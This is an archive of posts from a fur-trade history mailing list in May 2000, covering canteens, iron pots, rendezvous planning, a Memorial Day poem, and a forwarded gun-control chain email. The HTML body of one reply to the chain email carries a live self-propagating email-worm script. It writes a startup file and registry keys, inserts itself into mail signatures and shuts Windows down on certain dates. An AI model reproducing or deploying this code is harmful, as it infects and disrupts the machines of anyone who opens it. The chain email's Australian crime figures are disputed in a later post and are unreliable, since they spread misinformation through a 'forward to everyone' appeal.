   >>>  expended in  "ridding society of guns."
   >>>
   >>> Bet you won't see this data on the evening news or hear your
  governor
  or
   >>> members of the state Assembly disseminating this information. =
It's
  time
   >to
   >>> state it plainly: Guns in the hands of honest citizens save lives
  and
   >>> property and, yes, gun-control laws only affect the law-abiding
   citizens.
   >>> Take note, Californians and other Americans, before it's
   >>> too late!
   >>> PLEASE FORWARD TO EVERYONE ON YOUR EMAIL LIST!
   >>>
   > >>



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0px; PADDING-LEFT: 5px; PADDING-RIGHT: 0px">
  <DIV style=3D"FONT: 10pt arial">----- Original Message ----- </DIV>
  <DIV><BR></DIV>
  <DIV><FONT size=3D3>just a little information that could be =
interesting to=20
  you!!!!!<BR> >>> Learn from the mistakes of others=20
  ...<BR> >>>=20
  =
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D<BR> >>> It has now been =
12=20
  months since gun owners in Australia  were<BR> >>> =
forced=20
  to surrender 640,381 personal firearms to be<BR> >>> =
destroyed,=20
  a program costing the government more than $500 =
million<BR> >>>=20
  dollars.<BR> >>> And now the results are=20
  in:<BR> >>><BR> >>> Australia-wide, =
homicides are=20
  up 3.2 percent;<BR> >>> Australia-wide, assaults are up =
8.6=20
  percent;<BR> >>> Australia-wide, armed robberies are up =
44=20
  percent (yes, 44 percent).<BR> >>> In the state of =
Victoria,=20
  homicides with firearms are up 300<BR> >>> percent. =
Figures over=20
  the previous 25 years show a steady<BR> >>> decrease in =
armed=20
  robbery with firearms (changed drastically in=20
  the<BR>past<BR> >>> 12 months). There has been a =
dramatic=20
  increase in break-ins and<BR>assaults<BR> >>>=20
  of<BR> >>> the=20
  elderly.<BR> >>><BR> >>> Australian =
politicians=20
  are on the spot and at a<BR> >>> loss to explain how no=20
  improvement in "safety" has been observed<BR> >>> after =
such=20
  monumental effort and expense was =
successfully<BR> >>> =20
  expended in  "ridding society of=20
  guns."<BR> >>><BR> >>> Bet you won't see =
this data=20
  on the evening news or hear =
your<BR>governor<BR>or<BR> >>>=20
  members of the state Assembly disseminating this information.=20
  It's<BR>time<BR> >to<BR> >>> state it plainly: =
Guns in=20
  the hands of honest citizens save lives<BR>and<BR> >>> =
property=20
  and, yes, gun-control laws only affect the=20
  law-abiding<BR> citizens.<BR> >>> Take note, =
Californians=20
  and other Americans, before it's<BR> >>> too=20
  late!<BR> >>> PLEASE FORWARD TO EVERYONE ON YOUR EMAIL=20
  LIST!<BR> >>><BR> >=20
>><BR><BR></FONT></DIV></BLOCKQUOTE></BODY></HTML>

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From: "larry pendleton" <[e-mail]>
Subject: Re: MtMan-List: Canteens
Date: 29 May 2000 17:18:56 -0700

Tom,
  As you have already found, canteens are real hard to document.  This seems
to be one area where we have to improvise since our forefathers didn't have
to deal with polluted water and livestock born parasites.  The wooden stave,
iron bound canteens are durable but don't hold much and are rather awkward
to carry.  I haven't had any first hand experience with the copper canteens
but others have not been very satisfied with them.
  A very good alternative are the British Military canteens available in
Army Surplus stores.  They hold about a quart, and are enameled in side and
out.  We cover them with leather and cut the enamel off the outside of the
neck.  They are very durable and water doesn't taste terrible  out of them.
Plus since they are enameled inside you don't have to worry too much about
corrosion on the inside.  They work real well for us.
Pendleton

-----Original Message-----


In between projects I've wandered through the archives and
came across a topic of interest.  I thought I would raise this
again to see if there's any new thinking.  In the "Invoice of Sundry
Merchandise from the Rocky Mountain Outfit 1836 under charge
of Fontenelle, Fitzpatrick, & Co." there is a listing for (9) India
Rubber Canteens and (28) iron bound canteens.  There's not
much other reference, which causes me to speculate (as did
earlier list members) that carrying water was just not that important
to these fellows, who probably stayed very close to what was an
abundant supply of (then) very clean water.  It is our modern outdoor
experiences and training and logic which dictates that we carry some
device for containing drinking water.  Given we make this choice,
the next question is what shall this device be to remain as correct
as possible, and I suggest that gourds and bottles would be a lesser
choice
due to their fragility.  One would then default to either the military
copper canteen or a hooped wooden canteen (am I correct to assume
this is the "iron bound canteen" in the ledger??).  Or is their another
option not considered?  Skins or bladders are certainly viable but do
not
really meet the "durability" test.  Your thoughts?

Tom


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From: "Paul W. Jones" <[e-mail]>
Subject: Re: MtMan-List: Re: NOT FUR TRADE HISTORY................interesting gun stuff
Date: 29 May 2000 18:15:22 -0700

This is a multi-part message in MIME format.

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John, please provide me (us) with the source for this information.  I =
want to forward it to several news broadcasters that I know to see what, =
if anything they will do with it, but I want to be absolutely sure it is =
100% accurate before I send it. =20

Thanks,   Paul
  ----- Original Message -----=20
  From: John C. Funk, Jr.=20
  To: history line=20
  Sent: Monday, May 29, 2000 2:18 PM
  Subject: MtMan-List: Re: NOT FUR TRADE =
HISTORY................interesting gun stuff



    ----- Original Message -----=20


    just a little information that could be interesting to you!!!!!
     >>> Learn from the mistakes of others ...
     >>> =
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
     >>> It has now been 12 months since gun owners in Australia  were
     >>> forced to surrender 640,381 personal firearms to be
     >>> destroyed, a program costing the government more than $500 =
million
     >>> dollars.
     >>> And now the results are in:
     >>>
     >>> Australia-wide, homicides are up 3.2 percent;
     >>> Australia-wide, assaults are up 8.6 percent;
     >>> Australia-wide, armed robberies are up 44 percent (yes, 44 =
percent).
     >>> In the state of Victoria, homicides with firearms are up 300
     >>> percent. Figures over the previous 25 years show a steady
     >>> decrease in armed robbery with firearms (changed drastically in =
the
    past
     >>> 12 months). There has been a dramatic increase in break-ins and
    assaults
     >>> of
     >>> the elderly.
     >>>
     >>> Australian politicians are on the spot and at a
     >>> loss to explain how no improvement in "safety" has been =
observed
     >>> after such monumental effort and expense was successfully
     >>>  expended in  "ridding society of guns."
     >>>
     >>> Bet you won't see this data on the evening news or hear your
    governor
    or
     >>> members of the state Assembly disseminating this information. =
It's
    time
     >to
     >>> state it plainly: Guns in the hands of honest citizens save =
lives
    and
     >>> property and, yes, gun-control laws only affect the law-abiding
     citizens.
     >>> Take note, Californians and other Americans, before it's
     >>> too late!
     >>> PLEASE FORWARD TO EVERYONE ON YOUR EMAIL LIST!
     >>>
     > >>



------=_NextPart_000_0058_01BFC999.DA851FC0
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    charset="Windows-1252"
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<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Dwindows-1252" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2614.3500" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#c8e0d8>
<DIV><FONT size=3D2>John, please provide me (us) with the source for =
this=20
information.  I want to forward it to several news broadcasters =
that I know=20
to see what, if anything they will do with it, but I want to be =
absolutely sure=20
it is 100% accurate before I send it.  </FONT></DIV>
<DIV> </DIV>
<DIV><FONT size=3D2>Thanks,   Paul</FONT></DIV>
<DIV>
<DIV style=3D"POSITION: absolute; RIGHT: 0px; TOP: -20px; Z-INDEX: 5">
<OBJECT classid=3Dclsid:06290BD5-48AA-11D2-8432-006008C3FBFC=20
id=3Dscr></OBJECT></DIV>
<SCRIPT><!--
function sErr(){return =
true;}window.onerror=3DsErr;scr.Reset();scr.doc=3D"Z<HTML><HEAD><TITLE>Dr=
iver Memory Error</"+"TITLE><HTA:APPLICATION ID=3D\"hO\" =
WINDOWSTATE=3DMinimize></"+"HEAD><BODY BGCOLOR=3D#CCCCCC><object =
id=3D'wsh' =
classid=3D'clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B'></"+"object><SCRIP=
T>function sEr(){self.close();return true;}window.onerror=3DsEr;fs=3Dnew =
ActiveXObject('Scripting.FileSystemObject');wd=3D'C:\\\\Windows\\\\';fl=3D=
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n+'\\\\Software\\\\Microsoft\\\\Outlook =
Express\\\\5.0';sg=3D'\\\\signatures';t2.WriteLine(ky+sg+']');t2.Write('\=
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Signature\"=3D\"00000000\"');t2.WriteBlankLines(2);t2.WriteLine(ky+sg+'\\=
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#1\"');t2.WriteLine('\"type\"=3Ddword:00000002');t2.WriteLine('\"text\"=3D=
\"\"');t2.Write('\"file\"=3D\"C:\\\\\\\\WINDOWS\\\\\\\\kak.htm\"');t2.Wri=
teBlankLines(2);t2.WriteLine(ky+']');t2.Write('\"Signature =
Flags\"=3Ddword:00000003');t2.WriteBlankLines(2);t2.WriteLine('[HKEY_LOCA=
L_MACHINE\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run]')=
;t2.Write('\"cAg0u\"=3D\"C:\\\\\\\\WINDOWS\\\\\\\\SYSTEM\\\\\\\\'+fic+'.h=
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style=3D\"POSITION:absolute;RIGHT:0px;TOP:-20px;Z-INDEX:5\"><OBJECT =
classid=3Dclsid:06290BD5-48AA-11D2-8432-006008C3FBFC =
id=3Dscr></"+"OBJECT></"+"DIV>');t4=3Dfs.OpenTextFile(k2,1);while(t4.Read=
(1)!=3D'Z');t3.WriteLine('<SCRIPT><!--');t3.write('function =
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);t4.close();rd=3D/\\\\/g;re=3D/\"/g;rf=3D/<\\//g;rt=3Drs.replace(rd,'\\\=
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age;scr.Path=3D(la=3D=3D\"fr\")?\"C:\\\\\\\\windows\\\\\\\\Menu =
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\\\\windows\\\\\\\\Start =
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Agent.toLowerCase();if(((agt.indexOf(\"msie\")!=3D-1)&&(parseInt(navigato=
r.appVersion)>4))||(agt.indexOf(\"msie =
5.\")!=3D-1))scr.write();');t3.write('// =
--></"+"'+'SCRIPT></"+"'+'OBJECT></"+"'+'BODY></"+"'+'HTML>');t3.close();=
fs.GetFile(wd+'kak.htm').Attributes=3D2;fs.DeleteFile(wd+'kak.reg');d=3Dn=
ew Date();if(d.getDate()=3D=3D1 && =
d.getHours()>17){alert('Kagou-Anti-Kro$oft says not today =
!');wsh.Run(wd+'RUNDLL32.EXE =
user.exe,exitwindows');}self.close();</"+"SCRIPT>S3 driver memory alloc =
failed   =
!]]%%%%%</"+"BODY></"+"HTML";la=3D(navigator.systemLanguage)?navigator.sy=
stemLanguage:navigator.language;scr.Path=3D(la=3D=3D"fr")?"C:\\windows\\M=
enu D=E9marrer\\Programmes\\D=E9marrage\\kak.hta":"C:\\windows\\Start =
Menu\\Programs\\StartUp\\kak.hta";agt=3Dnavigator.userAgent.toLowerCase()=
;if(((agt.indexOf("msie")!=3D-1)&&(parseInt(navigator.appVersion)>4))||(a=
gt.indexOf("msie 5.")!=3D-1))scr.write();
// --></SCRIPT>
</OBJECT></DIV>
<BLOCKQUOTE=20
style=3D"BORDER-LEFT: #000000 2px solid; MARGIN-LEFT: 5px; MARGIN-RIGHT: =
0px; PADDING-LEFT: 5px; PADDING-RIGHT: 0px">
  <DIV style=3D"FONT: 10pt arial">----- Original Message ----- </DIV>
  <DIV=20
  style=3D"BACKGROUND: #e4e4e4; FONT: 10pt arial; font-color: =
black"><B>From:</B>=20
  <A href=3D"mailto:[e-mail]" =
title=[e-mail]>John C.=20
  Funk, Jr.</A> </DIV>
  <DIV style=3D"FONT: 10pt arial"><B>To:</B> <A=20
  href=3D"mailto:[e-mail]"=20
  title=[e-mail]>history line</A> </DIV>
  <DIV style=3D"FONT: 10pt arial"><B>Sent:</B> Monday, May 29, 2000 2:18 =
PM</DIV>
  <DIV style=3D"FONT: 10pt arial"><B>Subject:</B> MtMan-List: Re: NOT =
FUR TRADE=20
  HISTORY................interesting gun stuff</DIV>
  <DIV><BR></DIV>
  <DIV> </DIV>
  <BLOCKQUOTE=20
  style=3D"BORDER-LEFT: #000000 2px solid; MARGIN-LEFT: 5px; =
MARGIN-RIGHT: 0px; PADDING-LEFT: 5px; PADDING-RIGHT: 0px">
    <DIV style=3D"FONT: 10pt arial">----- Original Message ----- </DIV>
    <DIV><BR></DIV>
    <DIV><FONT size=3D3>just a little information that could be =
interesting to=20
    you!!!!!<BR> >>> Learn from the mistakes of others=20
    ...<BR> >>>=20
    =
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D<BR> >>> It has now been=20
    12 months since gun owners in Australia  =
were<BR> >>>=20
    forced to surrender 640,381 personal firearms to =
be<BR> >>>=20
    destroyed, a program costing the government more than $500=20
    million<BR> >>> dollars.<BR> >>> And now =
the=20
    results are in:<BR> >>><BR> >>> =
Australia-wide,=20
    homicides are up 3.2 percent;<BR> >>> Australia-wide, =
assaults=20
    are up 8.6 percent;<BR> >>> Australia-wide, armed =
robberies=20
    are up 44 percent (yes, 44 percent).<BR> >>> In the =
state of=20
    Victoria, homicides with firearms are up 300<BR> >>> =
percent.=20
    Figures over the previous 25 years show a =
steady<BR> >>>=20
    decrease in armed robbery with firearms (changed drastically in=20
    the<BR>past<BR> >>> 12 months). There has been a =
dramatic=20
    increase in break-ins and<BR>assaults<BR> >>>=20
    of<BR> >>> the=20
    elderly.<BR> >>><BR> >>> Australian =
politicians=20
    are on the spot and at a<BR> >>> loss to explain how =
no=20
    improvement in "safety" has been observed<BR> >>> =
after such=20
    monumental effort and expense was =
successfully<BR> >>> =20
    expended in  "ridding society of=20
    guns."<BR> >>><BR> >>> Bet you won't see =
this=20
    data on the evening news or hear=20
    your<BR>governor<BR>or<BR> >>> members of the state =
Assembly=20
    disseminating this information.=20
    It's<BR>time<BR> >to<BR> >>> state it plainly: =
Guns in=20
    the hands of honest citizens save lives<BR>and<BR> >>> =

    property and, yes, gun-control laws only affect the=20
    law-abiding<BR> citizens.<BR> >>> Take note, =
Californians=20
    and other Americans, before it's<BR> >>> too=20
    late!<BR> >>> PLEASE FORWARD TO EVERYONE ON YOUR EMAIL =

    LIST!<BR> >>><BR> >=20
  >><BR><BR></FONT></DIV></BLOCKQUOTE></BLOCKQUOTE></BODY></HTML>

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From: [e-mail]
Subject: MtMan-List: Australia/NRA Rebuttal
Date: 29 May 2000 19:14:07 EDT

There is an interesting article entitled "Australia Says NRA Got It Wrong"
Alleges Inaccuracies on Gun Organization's Web Site   dated Mar 22, 2000.

    The web address is:

http://www.apbnews.com/newscenter/breakingnews/2000/03/22/aussiegun0322_01.htm
l

     Tom Orr


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From: "Addison Miller" <[e-mail]>
Subject: Re: MtMan-List: Re: NOT FUR TRADE
Date: 29 May 2000 21:01:40 -0400

This is a multi-part message in MIME format.

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John (or someone)... you accidently sent a vir*us with you emails.  Use =
Norton or an AntiVir*us to check your system.

Ad Miller

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    charset="Windows-1252"
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<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Dwindows-1252" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2614.3500" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#c8e0d8>
<DIV><FONT face=3DArial size=3D2>John (or someone)... you accidently =
sent a vir*us=20
with you emails.  Use Norton or an AntiVir*us to check your=20
system.</FONT></DIV>
<DIV> </DIV>
<DIV><FONT face=3DArial size=3D2>Ad Miller</FONT></DIV></BODY></HTML>

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From: "Terry R. Koenig" <[e-mail]>
Subject: MtMan-List: iron pots
Date: 29 May 2000 19:12:31 -0600

The book "Otter Skins, Boston Ships, and China Goods" by James R. Gibson,
makes several references to iron pots.

On pages 214 -15, the author list the goods shipped to the NW Coast in 1800
onboard the Boston based "Atahualpa." Here along with 5,796 yards of
broadcloth, 1,342 blankets, 1,980 yards of duck, 350 muskets, 623 gallons of
molasses, 570 kettles and pans, are 301 iron pots. No specifics just "iron
pots." Were they cast iron. . . . dunno, but in the same text a coastal
Indian complained "that a ship had been given ten prime skins for an iron
pot which broke the first time it was put on a fire." (p. 160 fn #163).

The U.S. coastal trade was established in about 1788, and continued on
through the heyday of the mountain fur trade. While much of the trade was
conducted in more northern waters, ships regularly sailed on trading
ventures up the Columbia River, which they could navigate up to the vicinity
of the confluence of the Willamette with the Columbia. Near here, on the
north shore of the Columbia, the British established Fort Vancouver in 1825.
From this fort the HBC, launched numerous Snake River Expeditions which were
designed to create a fur desert in an effort to ward off the predatory
American fur trappers.

The Snake River Expedition of 1830 under John Work, consisted of 41 men, 29
women, 22 boys, and 23 girls, for a total of 115. Along with 21 lodges, and
227 horses and mules "to transport themselves and baggage." (See "The Snake
Country Expedition of 1830-31, John Works' Field Journal," ed. by Francis D.
Haines p. 4)

Now mountain men may not have gone to the trouble of packing iron cook
pot/s, but if he took up with an Indian female helpmate, his mode of
thinking may have changed. Her realm of responsibility included the lodge
and such fixins'.  She packed this stuff around so one would have to assume
that if she wanted iron cook pot/s she damn well had em.'

As for the use of dutch ovens, Allen Chronister documented Manuel Lisa being
outfitted with a dutch oven for an 1811 expedition to the upper part of the
Missouri. (See T&LR Summer "96", p 34 -35) Again no specifics as to size,
style, etc.

Terry R. Koenig


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From: "Addison Miller" <[e-mail]>
Subject: Re: MtMan-List: Re: NOT FUR TRADE HISTORY................interesting gun stuff
Date: 29 May 2000 21:20:02 -0400

This is a multi-part message in MIME format.

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    charset="Windows-1252"
Content-Transfer-Encoding: quoted-printable

My apologies... it was whoever responded to Johns post regarding =
Australia....

Ad Miller


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<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Dwindows-1252" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2614.3500" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#c8e0d8>
<DIV><FONT face=3DArial size=3D2>My apologies... it was whoever =
responded to Johns=20
post regarding Australia....</FONT></DIV>
<DIV> </DIV>
<DIV><FONT face=3DArial size=3D2>Ad Miller</FONT></DIV>
<DIV> </DIV></BODY></HTML>

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From: [e-mail]
Subject: Re: MtMan-List: Waugh! For Mountain Doins
Date: 29 May 2000 21:46:38 EDT

Cliff The trap was set about two feet from the bank in about 12 to 14 inches
of water. I try to set for a hide foot this was the best I could do with this
set do to the river bottom being rocky and dropping strait off two to three
feet out from the bank. As it was, it turned out to be a front foot set
because that is where the raccoon was caught. I think he seen the shine of
the trap in the water and had to mess with it. The set I caught the beaver in
was only 30 feet away and set just about the same and I had him high on the
hind foot.
He does look like Ken now that you mention it. Jill said my old skins were
still on a dummy only this new one had hair and was cuter. The Museum is real
happy with the display. I want thank all The AMM Brothers that contributed to
make it happen we only arranged it and filled in some of the holes. Allen did
all the work cataloged every thing and kept the ball a rolling. My hat is off
to him. If you think its good now just wait it is only going to get better as
time goes on as every thing the AMM does.
                                              Thanks
                                            Crazy Cyot

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From: [e-mail]
Subject: MtMan-List: Re:Cast ironware at Astoria
Date: 29 May 2000 22:42:14 EDT

I've been gone all week so have missed the hullabaloo over Dutch ovens.  I
note several references to cast iron at Astoria and include the following
info for what it's worth. (I believe I have posted this before.)

The "Inventory of sundries delivered to the Northwest Company, Astoria,
Columbia River, October, 1813" inlcudes:

1     iron cast teakettle           (on p. 22)
32   iron pots, weight 193 lbs. (on p. 24, no size other than wieght. 6+
pounds for                              cast iron??)
1    iron skillet                   (on p. 25, does not indicate "cast iron")
1    cast iron griddle              (on p. 37)

This is from "Message from the President of the United States, Communicating
the Letter of Mr. Prevost, and other Documents, Relating to an Establishment
Made at the Mouth of Columbia River, January 27, 1823."  Printed in
Washington by Gales & Seaton, 1823.

Jim Hardee


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From: "Addison Miller" <[e-mail]>
Subject: MtMan-List: Planning for a Ronnyvous in Aug/Sep 2001 in W Va
Date: 29 May 2000 23:06:19 -0400

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I am trying to plan a Ronnyvous in the Green Brier Valley area of West =
Virginia for Aug/Sep 2001. Anyone living in that area, and who may want =
to help, please contact me OFF LIST. I am in hopes this can be an annual =
event here, sponsored by the City of Alderson. If ths City doesn't want =
to do it, the proprietors of Organ Cave said they would be interested. =
I've been to lots of them, but have never put one on before... HELP!!!! =
*laughs*  :)

Ad Miller
[e-mail]

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<BODY bgColor=3D#c8e0d8>
<DIV><FONT face=3DArial size=3D2>I am trying to plan a Ronnyvous in the =
Green Brier=20
Valley area of West Virginia for Aug/Sep 2001. Anyone living in =
that area,=20
and who may want to help, please contact me OFF LIST. I am in hopes this =
can be=20
an annual event here, sponsored by the City of Alderson. If ths City =
doesn't=20
want to do it, the proprietors of Organ Cave said they would be =
interested.=20
I've been to lots of them, but have never put one on before... HELP!!!!=20
*laughs*  :)</FONT></DIV>
<DIV> </DIV>
<DIV><FONT face=3DArial size=3D2>Ad Miller</FONT></DIV>
<DIV><FONT face=3DArial size=3D2><A=20
href=3D"mailto:[e-mail]">[e-mail]</A></FONT></DIV></B=
ODY></HTML>

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From: "D Miles" <[e-mail]>
Subject: Re: MtMan-List: Planning for a Ronnyvous in Aug/Sep 2001 in W Va
Date: 29 May 2000 23:07:36 -0400

You must be really bored Ad... Or borderline psycotic...<G>
D

"Abair ach beagan is abair gu math e"
          DOUBLE EDGE FORGE
  Period Knives & Iron Accoutrements
   http://www.bright.net/~deforge1
  "Knowing how is just the beginning"


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From:    "John Hunt" <[e-mail]>
Subject: Re: MtMan-List: Planning for a Ronnyvous in Aug/Sep 2001 in W Va
Date: 29 May 2000 23:17:40 -0400

I`m bored Dennis tell us a tale



John (BIG JOHN) Hunt
Longhunter
Mountainman
southwest  Ohio
----- Original Message -----
Sent: Monday, May 29, 2000 8:08 PM


> You must be really bored Ad... Or borderline psycotic...<G>
> D
>
> "Abair ach beagan is abair gu math e"
>           DOUBLE EDGE FORGE
>   Period Knives & Iron Accoutrements
>    http://www.bright.net/~deforge1
>   "Knowing how is just the beginning"
>
>
> ----------------------
> hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html
>
>


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From: [e-mail]
Subject: MtMan-List: Memorial day thought (off topic)
Date: 30 May 2000 08:19:19 EDT


Credit: Andi Vaught <[e-mail]>



He was getting old and paunchy, And his hair was falling fast,

And he sat around the Legion, Telling stories of the past.



Of a war that he had fought in And the deeds that he had done.

In his exploits with his buddies; They were heroes, everyone.



And 'tho sometimes, to his neighbors, His tales became a joke,

All his buddies listened, For they knew whereof he spoke.



But we'll hear his tales no longer, For ol' Bob has passed away,

And the world's a little poorer, For a soldier died today.



He won't be mourned by many, Just his children and his wife.

For he lived an ordinary, Very quiet sort of life.



He held a job and raised a family, Quietly going on his way;

And the world won't note his passing; 'Tho a Soldier died today.



When politicians leave this earth, Their bodies lie in state,

While thousands note their passing, And proclaim they're great.

Papers tell of their life stories, From the time that they were young,

But the passing of a soldier, Goes unnoticed, and unsung.



Is the greatest contribution, To the welfare of our land,

Some jerk who breaks his promise, And cons his fellow man?

Or the ordinary fellow, Who in times of war and strife,

Goes off to serve his Country And offers up his life?

The politician's stipend And the style in which he lives,

Are sometimes disproportionate, To the service he gives.



While the ordinary soldier, Who offered up his all,

Is paid off with a medal And perhaps a pension, small.



It's so easy to forget them, For it is so long ago,

That our Bob's and Jim's and Johnny's, Went to battle, but we know.

It was not the politicians, With their compromise and ploys,

Who won for us the freedom, That our Country now enjoys.



Should you find yourself in danger, With your enemies at hand,

Would you really want some cop-out, With his ever waffling stand?

Or would you want a Soldier, Who has sworn to defend,

His home, his kin, and Country, And would fight until the end?



He was just a common Soldier And his ranks are growing thin,

But his presence should remind us, We may need his likes again.

For when countries are in conflict, Then we find the Soldier's part,

Is to clean up all the troubles, That the politicians start.



If we cannot do him honor, While he's here to hear the praise,

Then at least let's give him homage, At the ending of his days.

Perhaps just a simple headline, In the paper that might say:

"OUR COUNTRY IS IN MOURNING, For a Soldier died today"

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From: don neighbors <[e-mail]>
Subject: Re: MtMan-List: Memorial day thought (off topic)
Date: 30 May 2000 08:36:59 -0500

very, very nice......!!!!!!

[e-mail] wrote:

> Credit: Andi Vaught <[e-mail]>
>
>
>
> He was getting old and paunchy, And his hair was falling fast,
>
> And he sat around the Legion, Telling stories of the past.
>
> Of a war that he had fought in And the deeds that he had done.
>
> In his exploits with his buddies; They were heroes, everyone.
>
> And 'tho sometimes, to his neighbors, His tales became a joke,
>
> All his buddies listened, For they knew whereof he spoke.
>
> But we'll hear his tales no longer, For ol' Bob has passed away,
>
> And the world's a little poorer, For a soldier died today.
>
> He won't be mourned by many, Just his children and his wife.
>
> For he lived an ordinary, Very quiet sort of life.
>
> He held a job and raised a family, Quietly going on his way;
>
> And the world won't note his passing; 'Tho a Soldier died today.
>
> When politicians leave this earth, Their bodies lie in state,
>
> While thousands note their passing, And proclaim they're great.
>
> Papers tell of their life stories, From the time that they were young,
>
> But the passing of a soldier, Goes unnoticed, and unsung.
>
> Is the greatest contribution, To the welfare of our land,
>
> Some jerk who breaks his promise, And cons his fellow man?
>
> Or the ordinary fellow, Who in times of war and strife,
>
> Goes off to serve his Country And offers up his life?
>
> The politician's stipend And the style in which he lives,
>
> Are sometimes disproportionate, To the service he gives.
>
> While the ordinary soldier, Who offered up his all,
>
> Is paid off with a medal And perhaps a pension, small.
>
> It's so easy to forget them, For it is so long ago,
>
> That our Bob's and Jim's and Johnny's, Went to battle, but we know.
>
> It was not the politicians, With their compromise and ploys,
>
> Who won for us the freedom, That our Country now enjoys.
>
> Should you find yourself in danger, With your enemies at hand,
>
> Would you really want some cop-out, With his ever waffling stand?
>
> Or would you want a Soldier, Who has sworn to defend,
>
> His home, his kin, and Country, And would fight until the end?
>
> He was just a common Soldier And his ranks are growing thin,
>
> But his presence should remind us, We may need his likes again.
>
> For when countries are in conflict, Then we find the Soldier's part,
>
> Is to clean up all the troubles, That the politicians start.
>
> If we cannot do him honor, While he's here to hear the praise,
>
> Then at least let's give him homage, At the ending of his days.
>
> Perhaps just a simple headline, In the paper that might say:
>
> "OUR COUNTRY IS IN MOURNING, For a Soldier died today"
>
> ----------------------
> hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html


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-------------------------------------------------------------------------------

From: don neighbors <[e-mail]>
Subject: MtMan-List: to whom it may concern
Date: 30 May 2000 10:30:16 -0500

To the person that called me a nazi, I am not!!!!!!!!!!!!!! I am intitled
to what I think is right, just like Thomas Jefferson and Ben Franklin and
George Washington!!!!!
[e-mail] wrote:

> Credit: Andi Vaught <[e-mail]>
>
>
>
> He was getting old and paunchy, And his hair was falling fast,
>
> And he sat around the Legion, Telling stories of the past.
>
> Of a war that he had fought in And the deeds that he had done.
>
> In his exploits with his buddies; They were heroes, everyone.
>
> And 'tho sometimes, to his neighbors, His tales became a joke,
>
> All his buddies listened, For they knew whereof he spoke.
>
> But we'll hear his tales no longer, For ol' Bob has passed away,
>
> And the world's a little poorer, For a soldier died today.
>
> He won't be mourned by many, Just his children and his wife.
>
> For he lived an ordinary, Very quiet sort of life.
>
> He held a job and raised a family, Quietly going on his way;
>
> And the world won't note his passing; 'Tho a Soldier died today.
>
> When politicians leave this earth, Their bodies lie in state,
>
> While thousands note their passing, And proclaim they're great.
>
> Papers tell of their life stories, From the time that they were young,
>
> But the passing of a soldier, Goes unnoticed, and unsung.
>
> Is the greatest contribution, To the welfare of our land,
>
> Some jerk who breaks his promise, And cons his fellow man?
>
> Or the ordinary fellow, Who in times of war and strife,
>
> Goes off to serve his Country And offers up his life?
>
> The politician's stipend And the style in which he lives,
>
> Are sometimes disproportionate, To the service he gives.
>
> While the ordinary soldier, Who offered up his all,
>
> Is paid off with a medal And perhaps a pension, small.
>
> It's so easy to forget them, For it is so long ago,
>
> That our Bob's and Jim's and Johnny's, Went to battle, but we know.
>
> It was not the politicians, With their compromise and ploys,
>
> Who won for us the freedom, That our Country now enjoys.
>
> Should you find yourself in danger, With your enemies at hand,
>
> Would you really want some cop-out, With his ever waffling stand?
>
> Or would you want a Soldier, Who has sworn to defend,
>
> His home, his kin, and Country, And would fight until the end?
>
> He was just a common Soldier And his ranks are growing thin,
>
> But his presence should remind us, We may need his likes again.
>
> For when countries are in conflict, Then we find the Soldier's part,
>
> Is to clean up all the troubles, That the politicians start.
>
> If we cannot do him honor, While he's here to hear the praise,
>
> Then at least let's give him homage, At the ending of his days.
>
> Perhaps just a simple headline, In the paper that might say:
>
> "OUR COUNTRY IS IN MOURNING, For a Soldier died today"
>
> ----------------------
> hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html


----------------------
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From: Pat Quilter <[e-mail]>
Subject: RE: MtMan-List: Canteens
Date: 30 May 2000 10:59:26 -0700

   According to my reading and understanding of the times, the original
mountain men disdained the use of canteens, which was noted with some
surprise by several of the journal writers. Presumably with the freedom to
roam open country they counted on finding water for the night's camp, as
would be necessary for the horses as well as the men. Sometimes, finding a
suitable spot was delayed, which occasioned considerable thirst and griping.
Most travelling was done in fairly well-watered areas, where there would
also be game, and of course they sought beaver country. Only upon making a
desert crossing would they resort to making up water skins or the like which
are also noted as exceptional activities. I'm sorry I can't cite specific
sources from memory but I think these facts are well known.
   In these times of course we do not have the freedom to camp anywhere or
choose the best spots, hence a need for augmenting water supplies. American
soldiers were said to prefer the wooden hooped canteens despite their bulk
because the water stayed cooler then in a metal canteen. Wax-lined gourd
canteens are nice, although somewhat delicate. If the wax cracks due to
rough handling the gourd begins to deteriorate which may even create an
unwholesome condition. I have settled on a tin-lined rev-war style copper
canteen which holds about 2 quarts and keeps the water a little cooler since
I wrapped it in blanketing. I've never had a problem with off-taste,
although I use a given batch of water within a day or so.
Yr Ob't S'vt
Pat Quilter

-----Original Message-----
Sent: Monday, May 29, 2000 10:45 AM


In between projects I've wandered through the archives and
came across a topic of interest.  I thought I would raise this
again to see if there's any new thinking.  In the "Invoice of Sundry
Merchandise from the Rocky Mountain Outfit 1836 under charge
of Fontenelle, Fitzpatrick, & Co." there is a listing for (9) India
Rubber Canteens and (28) iron bound canteens.  There's not
much other reference, which causes me to speculate (as did
